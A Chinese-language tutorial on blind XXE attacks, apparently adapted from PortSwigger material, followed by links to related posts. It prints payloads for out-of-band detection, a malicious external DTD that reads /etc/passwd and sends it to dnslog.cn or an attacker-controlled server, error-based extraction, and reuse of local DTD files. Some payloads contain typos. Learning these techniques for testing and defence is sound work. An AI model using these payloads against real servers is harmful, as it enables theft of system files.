Blind XXE漏洞详解
0x01 blind XXE漏洞
0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞
2.1 使用参数实体进行绕过
2.2 利用out-of-band获取敏感信息
0x03 利用XML解析错误信息获取敏感信息
0x04 利用本地DTD文件获取敏感信息
0x01 blind XXE漏洞
XML外部实体盲注是指应用程序存在XXE漏洞,但是在响应包中无法得到任何有关外部实体的信息。这就意味着传统的XXE SSRF攻击是无法完成的,所以正常情况下Blind XXE漏洞更难利用。
Blind XXE 常用的两种利用方式
触发out-of-band网络交互,有时会在交互数据中泄露敏感数据。
触发XML 解析错误,通过错误消息获取到敏感数据。
0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞
可以使用我们自己可控的服务器或应用程序通过out-of-band网络交互技术来检测Blind XXE漏洞。例如:
<!DOCTYPE a [<IENTITY xxe SYSTEM "http://c7p3st.dnslog.cn">]><a>&xxe;</a>
2.1 使用参数实体进行绕过
在有些情况下,由于应用程序对输入进行验证等措施,常规的实体注入可能会被阻拦,无法正常获取到信息,此时我们可以通过使用参数实体进行绕过。
<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://c7p3st.dnslog.cn"> %xxe; ]>
2.2 利用out-of-band获取敏感信息
使用out-of-band技术只能证明应用系统存在Blind XXE漏洞,但攻击者终究是为了利用漏洞获取敏感信息。此时可以通过攻击者可控的服务器或者应用程序建立恶意的DTD文件,再在目标服务器解析加载恶意DTD,从而获取敏感信息。
# 构造请求包正常:<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe;]># 构造恶意xxe.dtd:<!ENTITY % file SYSTEM "file://etc/passwd"><!ENTITY % extfile SYSTEM "<!ENTITY % exfiltrate SYSTEM 'http://dnslog.cn/?x=%file;'>">%extfile;%exfiltarte;
此类技术对于/etc/passwd等文件不太友好,原因在于XML解析器是使用API获取带有恶意DTD文件的URL的,API只能验证出现在URL中的字符,这时使用FTP协议替换HTTP协议会好很多,但有时它可能不太支持换行符等字符,所以这种情况下使用/etc/host来验证漏洞比较合适一点。
0x03 利用XML解析错误信息获取敏感信息
如果应用系统在XML的返回信息中包含错误信息,那么我们可以通过触发XML解析错误,从而获取到应用程序敏感信息。
可以通过以下方式来触发XML解析错误信息,并且错误信息中包含/etc/passwd等应用程序敏感信息。
# 构造xxe.dtd文件<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;# 构造恶意请求<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe; ]>
0x04 利用本地DTD文件获取敏感信息
前面几种方式适合外部DTD,对于只能使用DOCTYPE内元素的内部DTD来说是没有作用的,主要原因为那些方式在参数实体中定义了另外的参数实体,根据XML规范,这在外部DTD中是允许的,但在内部DTD中是不允许的。这时候就要思考当我们的out-of-band带外技术被阻拦时,我们无法通过out-of-band获取敏感数据,也无法加载远程服务器中的DTD文件,该如何利用Blind XXE漏洞。
此时,利用解析错误获取敏感信息还是可能的,这取决于XML语言的漏洞:如果一个DTD混合使用内部DTD和外部DTD,内部DTD可以进行重新定义由外部DTD引用的实体,这样就放宽了在另一个参数实体的定义中使用XML参数实体的限制。
这意味着攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体正在重新定义在外部DTD中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部DTD。相反,它需要是应用服务器本地的外部DTD文件。本质上,攻击涉及调用本地文件系统上碰巧存在的DTD文件,并重新调整其用途,以触发包含敏感数据的解析错误的方式重新定义现有实体。
例如:在应用程序中存在/usr/local/app/schema.dtd,且这个DTD文件定义了一个custom_entity的实体。攻击者可以通过以下方式触发XML解析错误,从而获取到敏感数据。
<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"><!ENTITY % custom_entity '<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;'>%local_dtd;]>
如何寻找本地的DTD文件
这种利用方式最重要的还是去应用程序服务器中寻找可以利用的DTD文件。这其实是特别简单的:当应用程序因为XML解析错误返回错误信息时,我们可以通过从内部DTD中加载他们来枚举出本机的DTD文件。
例如:使用GNOME环境的Linux通常会存在/usr/share/yelp/dtd/docbookx.dtd文件,可以通过以下XXE负载来判断此文件是否存在。
<!DOCTYPE XXE [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>
再找到DTD文件后,可以通过网上去寻找这个DTD文件,并且分析是否可以重定义参数进行利用。
参考资料:
What is a blind XXE attack? Tutorial & Examples | Web Security Academy
Blind XXE漏洞详解相关推荐
- XXE漏洞详解(三)——XXE漏洞实际运用
今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)--XXE漏洞实际运用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! ...
- XXE漏洞详解 一文了解XXE漏洞
前言 本篇总结归纳XXE漏洞 1.什么是XXE 普通的XML注入 XML外部实体(XML External Entity, XXE) Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以 ...
- XXE漏洞详解与利用
XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...
- OWASP-TOP10漏洞详解以及防护方案
OWASP TOP 10 漏洞详解以及防护方案 OWASP介绍 官网:http://www.owasp.org.cn/ OWASP TOP10 指出了 WEB 应用面临最大风险的 10 类问题,是目前 ...
- OWASP top 10漏洞详解
一.写在前边 临近毕业,最近在找实习单位,看到好多招聘要求熟悉owasp top 10 安全漏洞,于是在经过一番查资料,终于有了大致的了解,为了加深印象,特意通过博客记录一下,也希望为有同样需求的 ...
- android WebView详解,常见漏洞详解和安全源码(下)
上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑. 上篇:android WebView详解,常见漏洞详解和安全源码(上) 转载请注明出处:http ...
- android WebView详解,常见漏洞详解和安全源码(上)
这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 由于博客内容长度,这次将分为上下两篇,上篇详解 WebView ...
- 《密码爆破漏洞详解》——黑客必修的入门操作( 建议收藏 )
隔壁老张: "狗剩啊, 隔壁xx村的王姐家的女娃好漂亮, 我想盗她qq啊, 你帮我把" 狗剩: "我不会呀" 村里大妈: "那个狗剩啊, 盗个qq号都 ...
- Pikachu靶场之文件包含漏洞详解
Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...
最新文章
- 完全理解python迭代对象_完全理解Python迭代对象、迭代器、生成器
- c语言算法竞赛入门经典百度云,《算法竞赛入门经典》CH-2(C语言)
- Apache启动过程(PHP_MINIT_FUNCTION的调用)
- linux终端帮助,Linux下的帮助命令
- 布局中常见的居中问题
- [置顶] 自己动手写Web容器之TomJetty之六:动态页面引入
- 玩 vmx ( by vision.ai ) 的过程记录
- FLASH与ASP.NET通讯[Flash | CS3 | ActionScript | ASP.NET | FluorineFx ]
- Ubuntu下The program 'python' can be found in the following packages:
- 20200216_re数据处理
- linux f95编译器,Fortran 95编译器是否可以编译Fortran 77代码?
- linux i3 桌面,Linux安装i3wm平铺式窗口桌面
- mstar v56几路hdmi_MSTAR运用及问题汇总_整理
- Jpa 注解详解 映射详解 一对多 多对一
- STK开发包用法探讨
- LG30刷小米系统_小米红米手机安卓9底层如何正确安全升级安卓10版MIUI12开发版...
- 对给定的10个国家名,按其字母的顺序输出。C++
- 【大数据开发】SparkSQL——Spark对接Hive、Row类、SparkSQL函数、UDF函数(用户自定义函数)、UDAF函数、性能调优、SparkSQL解决数据倾斜
- 学术报告系列(八) - Fault-tolerant control of unmanned aerial vehicles
- uniapp ios原生插件开发之插件包格式(package.json)